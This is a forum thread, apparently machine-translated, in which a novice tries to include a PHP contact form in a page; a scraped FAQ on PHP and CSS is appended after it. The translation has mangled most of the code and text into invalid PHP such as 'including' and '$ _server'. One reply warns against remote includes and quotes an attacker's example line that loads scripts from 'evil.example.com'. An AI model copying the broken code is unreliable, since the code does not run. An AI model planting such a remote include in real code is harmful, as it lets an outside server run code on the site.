June 28, 2014 at 5:05 a.m.#173944
Anonymous
Inactive
I try to include a PHP file with the following example in a Div
<?PHP including "http://www.yoursite.com/path/to/file.php";?>
But it doesn't work. I tried it too
<? Php include "{$ _server ['document_root']}/path/to/file.php";?>
And you guessed it, Nuttin.
Does the file to be contained does the word echo need <?PHP or am I doing something else wrong?
Thanks very much!
June 28, 2014 at 5:14 a.m.#173945
Senff
Participant
You cannot/should insert a file via HTTP on a server.Then it is already processed by the server so that you cannot use the code.
Use only unprocessed files that are in the same environment, with the relative path being used.So never add a domain name (hard coded or in other ways), so something like:
<?Php including "/path/to/file.php";?>June 28, 2014 at 5:36 a.m.#173948
Anonymous
Inactive
Greetings Senff,
I tried that without success. I had how how
<div> & lt;? php include "/new/test/cform.php";? & gt;</div>And nothing can be seen within the div.
Use only unprocessed files that are in the same environment.
Could you please explain this? I understand that an absolute way here is not useful and that a relative way is, but I am still blurry that I am "processed on the server and why this makes the code unusableExamples seen that use the absolute way, even though I followed their instructions and went to Zilch, although others said it worked for them. I am too green with all of this to know BS from Brilliance.
In addition, I don't know what happened to my description for this.
Best regards.
June 28, 2014 at 9:17 a.m.#173954
__
Participant
I understand that an absolute way here is not useful and that a relative way ...
An absolute way is not "useless"."{$ _Server ['document_root']}/path/to/file.php"is an absolute file path becauseIt starts from the root of the file system. A relative path begins from "somewhere else", such as in the current directory. For example, if you usecontainFrom your document -root directory then"{$ _Server ['document_root']}/path/to/file.php"And"Path/to/file.php"will point both in the same place (however"/path/to/file.php"wouldnot).
just to clarify thingshttp://example.com/path/to/file.php is not a file system pathIn general.
If"{$ _Server ['document_root']}/path/to/file.php"Does not work, then the most likely explanation is that it is not the right way and the file is actually saved elsewhere.contain, attempt
$ path = "{$ _server ['document_root']}/path/to/file.php"; var_dump ($ path);... to see what the full path dissolves.
Also,contain WilleThrow a warning if you do not find (or access) the file you request. Check your error log.
Use only unprocessed files that are in the same environment
What Senff means is when it tries to try itcontainSomething (e.g. a PHP file) via a URL is often the case that the file has already been executed on the other server: you will receive the PHPein browser).
It is the part of its advice that is more importantunsureusecontainWith a URL because it enables a different server control from you. Example if youclose 'http://example.com/kittens_and_butterflies.php';There is nothing that prevents another server from giving themMUsticious_database_injection.phpinstead of this.
Your installation of PHPshould beConfigured to prevent URL, comprises completely,*Since it is also used as an attack vector: If someone breaks into your server, he only add a lot of malicious scripts and additional code, but only adds one line (which you notice much less): something like that asIntegrate 'http://evil.example.com/all_my_bad_scripts.php';
* Check your PHP.ini file or ask your hosting company.
June 29, 2014 at 12:54 p.m.#174027
Anonymous
Inactive
Greetings Traq,
I tried every variation to include itthis forminthis page(where the box is with the thin black edge) and tried to use it
<? php $ path = "{$ _server [" document_root "]}/form-Test/cform.php";
var_dump ($ path);?>
Nothing works. Is it possible that it is a Z-index matter or an orientation in the form itself, which leads to the form of the form in the page?
In addition, I meant under "absolute path" to enter the complete URL, e.g.http://example.com/path/to/file.php. I know that it is not a file system path, but a path to a file on a server.
Best regards.
June 29, 2014 at 4:42 a.m.#174034
Senff
Participant
I tried every variation to add this form to this page (whereby the box is with the thin black edge)
The page on which you want to insert the form is an HTML page, not a PHP.Therefore, the code of the PHP term is never executed.
June 29, 2014 at 5:42 a.m.#174039
Anonymous
Inactive
Aaaah, this opens another (potential) can of nightmares. How difficult is it to convert this page into PHP?
(I feel stupid from a minute!)
Best regards.
June 29, 2014 at 5:56 a.m.#174040
Alen
Participant
Simply change the expansion of.htmlTo.php.
June 30, 2014 at 12:50 p.m.#174078
Anonymous
Inactive
Greetings Alan,
I thought that was the way to do it and tried it, but I had it too<? php?>Around the HTML what the problem caused. I was new to all of this and had not worked for some time while trying to create a contact form from scratch, I forgot how Simp0le was and thus the question.
However, I remember that<? php?>Did you also have to be placed within the side?
Best regards.
June 30, 2014 at 12:55 p.m.#174079
Anonymous
Inactive
Okay, I displayed the form on the page, but I get the following warnings/errors:
Warning: Session_Start (): Session Cookie cannot send - header that has already started (edition, at/"/"/"'/" */test/index.php: 1089) in/”/”/”/”“ “./Form-test/cform.php in line 9
WARNING: Session_Start (): Sending -Cache -Limiter cannot be sent -Headers already sent (edition began at/""/"'/form-test/cform.php in line 9
WARNING: Header information cannot be changed-header that has already been started by (edition, in/""/"/"/""/test/index.php:1089) in/""/"/form-test-test started) /cform.php in line 12
Warning: Session_Start (): Session Cookie cannot send - header that has already been sent (edition started at/"Seligen/" ""/test/cform.php in line 9
Warning: Session_Start (): Sending -Cache -Limiter cannot be sent -Headers already sent (edition began at/""/"'/" ""/test/cform.php in line 9
WARNING: HEADER information cannot be changed - header that has already been started by (edition, at/"/"/"/" */test/index.php: 1089) in/"/"/"/"/"/"///////////standform/cform.php in line 12
Maybe this is something that has to look at @Untraq-E-ED because he built the tutorial for the shape?
My idea is there a conflict with the UTF-8 and an HTML that is included in the CFOR on the index page and in the CFORE itself?
Many thanks to everyone in advance.
June 30, 2014 at 7:17 a.m.#174114
Senff
Participant
They try to import/absorb PHP code to your page, which is more than just the form -in fact, it is an entire HTML page, including all of its tags such as HTML, head, body, etc.
(go tohttp://www.wslmf.org/form-test/cform.phpand display the source)
This is probably the reason why she has already received the "already sent" reports ".
What you have to do is to includeOnlyThe code for the form, so that the .php file you want to include, should not contain header or the like.
Edit cform.php and remove everything that comes before and according to the form (everything beforehand<Formand everything afterwards</Form>).
June 30, 2014 at 7:59 a.m.#174119
Anonymous
Inactive
Greetings Senff,
There is much more than just a header and other HTML before and after the <FIRM>, which is very important.So I'm not sure what to do. I just noticed that my @ didn't work, so even though he has changed his gripperceive? If it works and he sees the message mentioned above about the errors, he will know what to do/remove.
Thank you Senff.
June 30, 2014 at 8:42 a.m.#174120
Senff
Participant
You are right, do not delete everything, but make sure that there are no HTML header in this file<html>Day, no<kopf>, NO<body>.
However, if you feel more comfortable, wait for instructions fromperceive/ @Untraq-ed, do not hesitate to do this.
June 30, 2014 at 9:30 a.m.#174126
Anonymous
Inactive
Senff,
I'm just too unsure and when Traq built the tutorial of the contact form, I really need it to direct myself.
However, I really appreciate your input!
Best regards.
June 30, 2014 at 12:04 p.m.#174135
__
Participant
@SenffJust to get you up to date,Here is what we work with.
@Michael1961, now, if I understand correctly, include the class and build the formlikewisePage (thecform.phpPage) and then try to includeThePage onOthersBook page.
This assumes that at the end we are produced a lot from the HTML Markup (this is the problem that has talked about the Senff), and - because they are theirsIndexPage has already sent the output to the browser before trying to enter the contact form.Starting the session does not work (these are the "Headers already sent" error messages that you receive).
Our test pageis a complete "independent" page. If you want to insert the contact form as part of aandersYou can use the same PHP methods (neuer contactMichael1961 ($ _post);Present<? = $ Contact Form-> html markup ();?>) on this actual side.
If you give me the content of yoursIndexPage, I will help you to set it up from there.
In addition, I meant under "absolute path" to enter the complete URL, e.g.http://example.com/path/to/file.php. I know that it is not a file system path, but a path to a file on a server.
Actually, no, that is the misunderstanding that I would like to point out: are a URL and a file system pathcompletely different things. A URL could beAssigned*To a file system path (e.g. from your server), but in and of yourself are not related things. A file system is looking for files on your computer (server). A URL localizes things (typically) on the Internet.
* A typical example: if Apache receives an inquiry forhttp://example.com/path/to/file.phpIt looks in itsDokument RootDirectory for a file under "Path/File.php". The actual file path is something like/Users/your-name/example.com/public_html/path/to/file.phpIn other cases, the URL may have no connection with the actual location of the file (e.g.
This is a huge conceptual stumbling block for almost everyone. Because they look similar and because (often) serverYetGive a rather literal assignment for real files through.contain), They are forced to understand the difference.
FAQs
Can I include CSS file in PHP? ›
Adding CSS With PHP the Static Way
In your PHP file, you can inline your CSS code in the style="" attribute of HTML elements, embed it in a <style type="text/css"> tag in the header, or link to it in a <link rel="stylesheet"> tag, and it will be outputted as it is.
- Rename your style. css file to style. php , then add the following to the top of the file: <? ...
- In your HTML files, change the stylesheet references from style.css to style.php . For example: <link rel="stylesheet" type="text/css" media="screen" href="style.php">
- Style.php. Instead of using the .css file extension, use .php <link rel='stylesheet' type='text/css' href='css/style.php' />
- Content-type. At the top of your new style. ...
- Set up variables. Now you can set up variables for whatever you like: ...
- Use variables. ...
- Extend the power / Other ideas. ...
- Not working?
Browsers often cache or temporarily store resources from websites you visit to improve load speed. Some sites will also use plugins for additional caching. Often when you don't see your custom styles on your site, it's because the browser or other system has cached an older version of your site.
Does PHP need HTML and CSS? ›PHP is a server-side programming language that controls the HTML, JavaScript, and CSS that is sent to the browser. A front-end developer may only know HTML, CSS, and JavaScript. But a back-end developer will need to know both PHP and HTML to code in PHP.
Is PHP supported by HTML and CSS? ›HTML/CSS/JS Support
PHP Tools does not change the behavior of standalone HTML, JS or CSS files at all. The extension influences only the PHP source files. HTML, JS and CSS in PHP source files support the same features as they do without PHP.
Browser Cache
If you are adding/modifying in-line CSS or JavaScript and not seeing the changes reflected in the HTML source, the page is likely being cached. The solution may be to purge the WordPress object cache, which stores our page caching (Batcache) renders.
Step 1: Firstly, we have to type the Html code in any text editor or open the existing Html file in the text editor in which we want to use the PHP. Step 2: Now, we have to place the cursor in any tag of the <body> tag where we want to add the code of PHP. And, then we have to type the start and end tag of PHP.
How to use CSS in PHP w3schools? ›- Use the HTML style attribute for inline styling.
- Use the HTML <style> element to define internal CSS.
- Use the HTML <link> element to refer to an external CSS file.
- Use the HTML <head> element to store <style> and <link> elements.
- Use the CSS color property for text colors.
Use PHP's $_POST or $_GET superglobals to retrieve the value of the input tag via the name of the HTML tag. To show the value: <? php echo $_GET['subject']; ?>
How to add CSS color in PHP? ›
You can do it by in-line style or additional class. In-line: <? php if($variable == "Black") echo '<div id="div_id" style="background-color:black" class="div_class"> Text </div>'; ?>
How to pass value from HTML to PHP in same page? ›You can put the html part into a PHP String with PHP variables inside, and echo it, php will automatically assign the vars inside.
How do I know if CSS is applied? ›In Chrome, the first step is to control-click on the element you want to know more about, and select "Inspect Element" from the contextual menu. This will open the web inspector with the element selected.
How do I find CSS errors? ›A quick way to find errors in CSS code is to install the Web Developer tool bar add-on and use the validator through the tools drop down. What's cool about this tool is you can quickly validate local files too as it will automatically upload them to the W3C validator.
How do I fix CSS error? ›In the case of the 404 HTTP status code, you may restore the . css file with an older link and edit it so it will lead to another CSS document. Enter your CSS code into a text editor and check the syntax up to the final semicolon. Sometimes you may miss an error if you're using a ready-made template.
How difficult is it to learn PHP? ›Plus, PHP is easy to learn. Its syntax is similar to HTML and even uses some embedded HTML in its code. Since you can reuse blocks of code and built-in functions, PHP is one of the simplest programming languages.
What is the purpose of CSS in PHP? ›CSS is used to define styles for your web pages, including the design, layout and variations in display for different devices and screen sizes.
Should I learn PHP before CSS? ›You don't need to know PHP to learn HTML/CSS, just as you don't need to know HTML/CSS to learn PHP. So it's only natural to wonder… which of these languages should you learn first? Since HTML, CSS, and PHP are all languages used in web development, it's a good idea to learn HTML/CSS before you learn PHP.
Why is my PHP code not working in HTML? ›Php files can always read and display HTML code, but HTML does not automatically parse php code. To do so, you will need to make adjustments to your . htaccess file. Once that is done, the php code will display within HTML files without issue.
Is PHP better than HTML and CSS? ›Answer: PHP is better than HTML as it is more powerful in terms of its usage. Given below are the differences: PHP is a scripting language that can generate dynamic web pages as the code execution takes place on the server and the result is returned by the server in HTML format which is displayed by the browser.
Is PHP still being used? ›
In the developer community, a lot of people started thinking of PHP as an outdated language that has no place in the IT industry by 2022. However, data show that around 80% of websites are still written on PHP.
Why I am not able to link CSS to HTML? ›When your HTML and CSS files are not on the same folder, you might have some challenges linking them. You can resolve this problem by: Using the correct file path to the CSS file. So if the CSS file is in a different folder from the HTML path, you need to identify the path name and add it to the link href value.
Why is 50% not working CSS? ›To answer your question why top: 50% is not working, when you use property top on an element, the parent of that element needs to have a static height set in place. This should be in px or a unit other than percent.
Why are my CSS media queries not working? ›The most common cause of media queries not working is incorrect syntax. Make sure that you've got all the correct characters in the correct order. It's also important to make sure that you're using the correct syntax for the version of CSS you're using.
How much time it takes to learn PHP? ›To learn PHP by itself, experts agree that it will take 3 to 6 months. PHP is one of the easier languages to learn as it has a logical syntax that is beginner friendly. MySQL will take an average of 6 to 7 months to learn.
Can PHP and HTML work together? ›PHP and HTML interact a lot: PHP can generate HTML, and HTML can pass information to PHP. Before reading these faqs, it's important you learn how to retrieve variables from external sources.
Can I mix HTML with PHP? ›Mixing HTML and PHP. PHP code is normally mixed with HTML tags. PHP is an embedded language, meaning that you can jump between raw HTML code and PHP without sacrificing readability. In order to embed PHP code with HTML, the PHP must be set apart using PHP start and end tags.
How to use external CSS in PHP? ›There are two parts to external style sheets, the link to the CSS file, and the CSS file itself. External style sheets are linked to an HTML file by adding the <link> tag into the head of each HTML file. Inside the link tag, the "rel" attribute defines the relation between the current document and the linked document.
What are the three types of CSS? ›There are three ways you can use to implement CSS into your HTML: internal, external, and inline styles.
What is $_ in PHP? ›PHP $_POST is a PHP super global variable which is used to collect form data after submitting an HTML form with method="post". $_POST is also widely used to pass variables.
What is the difference between $_ GET and $_ POST in PHP? ›
Use $_GET (HTTP GET method) if your data is short text data that does not contain any sensitive information. Use $_POST (HTTP POST method) to send lengthy data or binary data, like images. It is also used to send sensitive information.
What is $_ GET and $_ POST in PHP? ›$_GET is an array of variables passed to the current script via the URL parameters. $_POST is an array of variables passed to the current script via the HTTP POST method.
What is red in CSS? ›For example, rgb(255, 0, 0) is displayed as red, because red is set to its highest value (255) and the others are set to 0. To display black, set all color parameters to 0, like this: rgb(0, 0, 0). To display white, set all color parameters to 255, like this: rgb(255, 255, 255).
How many colors are in CSS? ›CSS provides 145 colors names, from the most basic (black, white, orange, yellow, blue…) to the more specific (lawngreen, orchid, crimson…). Because the color names are hard to remember, and because you probably want very specific colors, color names are not often used.
Can we write both PHP and HTML code inside a PHP file? ›As you can see, you can use any HTML you want without doing anything special or extra in your PHP file, as long as it's outside and separate from the PHP tags. In other words, if you want to insert PHP code into an HTML file, just write the PHP anywhere you want (so long as they're inside the PHP tags).
What is sticky form in PHP? ›A sticky form is simply a standard HTML form that remembers how you filled it out. This is a particularly nice feature for end users, especially if you are requiring them to resubmit a form.
How to redirect value from one page to another in PHP? ›To set a permanent PHP redirect, you can use the status code 301. Because this code indicates an indefinite redirection, the browser automatically redirects the user using the old URL to the new page address. It also informs search engines that the page isn't available anymore but is replaced with the new one.
Does everyone fill out a CSS? ›Some colleges require the CSS Profile from all first-year applicants, whereas others require it from domestic or international students only. Consult your school to determine whether you'll need to submit the CSS Profile. A complete list of CSS Profile schools is available at the College Board.
When should I complete CSS? ›Most students complete the application in their senior year of high school. Schools may have different deadlines - be sure to check with each school you are applying to. WHO must complete the CSS Profile? Check your colleges' information to determine whether they require the CSS Profile.
How to use CSS correctly? ›- Start with a framework. It is recommended to use a CSS framework with each design, as it will speed up the production. ...
- CSS reset. ...
- Maintain consistency. ...
- Ensure it's readable. ...
- Avoid the ! ...
- Keep it DRY. ...
- The right usage of CSS shorthand. ...
- Use multiple stylesheets.
What are the common problems in CSS? ›
- Not Using a Proper CSS Reset. Web browsers are our fickle friends. ...
- Over-Qualifying Selectors. ...
- Not Using Shorthand Properties. ...
- Using 0px instead of 0. ...
- Using Color Names Instead of Hexadecimal. ...
- Redundant Selectors. ...
- Redundant Properties. ...
- Not Providing Fallback Fonts.
You can validate both HTML and CSS files. You can use any commercial software package or free online application, such as the following World Wide Web Consortium (W3C) validators: W3C CSS Validator at http://jigsaw.w3.org/css-validator/ W3C HTML Validator at http://validator.w3.org/
What is the valid CSS rule? ›The :valid CSS pseudo-class represents any <input> or other <form> element whose contents validate successfully. This allows to easily make valid fields adopt an appearance that helps the user confirm that their data is formatted properly.
What is invalid CSS? ›The :invalid CSS pseudo-class represents any <form> , <fieldset> , <input> or other <form> element whose contents fail to validate.
How do I get rid of excess CSS? ›html file for unused CSS and create a trimmed down CSS file inside a folder named cleancss . The CSSmin plugin will then minify the new CSS file, which will be called tidy. css by default. The final few lines are especially important since they load and register both plugins.
How to add CSS classes to PHP? ›- use a link to your CSS style sheet in within the <HEAD> tag ONLY… eg: <link href="css/style_alt.css" rel="stylesheet" type="text/css" media="all">
- if you plan/need different style sheets use PHP to alter the link. Eg: ...
- if you want a small bit of unique CSS to each page, you can also output a <style> tag. Eg:
PHP Include Files. The include (or require ) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement. Including files is very useful when you want to include the same PHP, HTML, or text on multiple pages of a website.
Can you include HTML in PHP file? ›As you can see, you can use any HTML you want without doing anything special or extra in your PHP file, as long as it's outside and separate from the PHP tags. In other words, if you want to insert PHP code into an HTML file, just write the PHP anywhere you want (so long as they're inside the PHP tags).
Can I include CSS in HTML file? ›CSS can be added to HTML documents in 3 ways: Inline - by using the style attribute inside HTML elements. Internal - by using a <style> element in the <head> section. External - by using a <link> element to link to an external CSS file.
How to declare class in CSS? ›The .class selector selects elements with a specific class attribute. To select elements with a specific class, write a period (.) character, followed by the name of the class. You can also specify that only specific HTML elements should be affected by a class.
How to add CSS classes to HTML? ›
If you want to use a class, use a full stop (.) followed by the class name in a style block. Next, use a bracket called a declaration block that contains the property to stylize the element, such as text color or text size. CSS Classes will help you stylize HTML elements quickly.
What is difference between include and include_once in PHP? ›include vs include_once : There is only one difference between include() and include_once(). If the code from a file has been already included then it will not be included again if we use include_once(). Means include_once() include the file only once at a time.
What is the difference between include and require in PHP? ›include() Vs require()
The only difference is that the include() statement generates a PHP alert but allows script execution to proceed if the file to be included cannot be found. At the same time, the require() statement generates a fatal error and terminates the script.
require_once works like require , but it will only include the file if it has not been included before. include_once works like include , but it will only include the file if it has not been included before.
What does include_once mean in PHP? ›The include_once statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include statement, with the only difference being that if the code from a file has already been included, it will not be included again, and include_once returns true .
Should CSS and HTML be in the same file? ›CSS and HTML are best kept separate so that the CSS is uniformly accessible to all pages on a site, not just the document it is included in. Integrating CSS into webpages is an inefficient way to style a site.
Which CSS file should not contain any HTML? ›The external style sheet can be written in any text editor. The file must not contain any HTML code, and must be saved with a .css extension.
What are the limitations of CSS? ›- Ascending by selectors is not possible.
- Limitations of vertical control.
- No expressions.
- No column declaration.
- Pseudo-class not controlled by dynamic behavior.
- Rules, styles, targeting specific text not possible.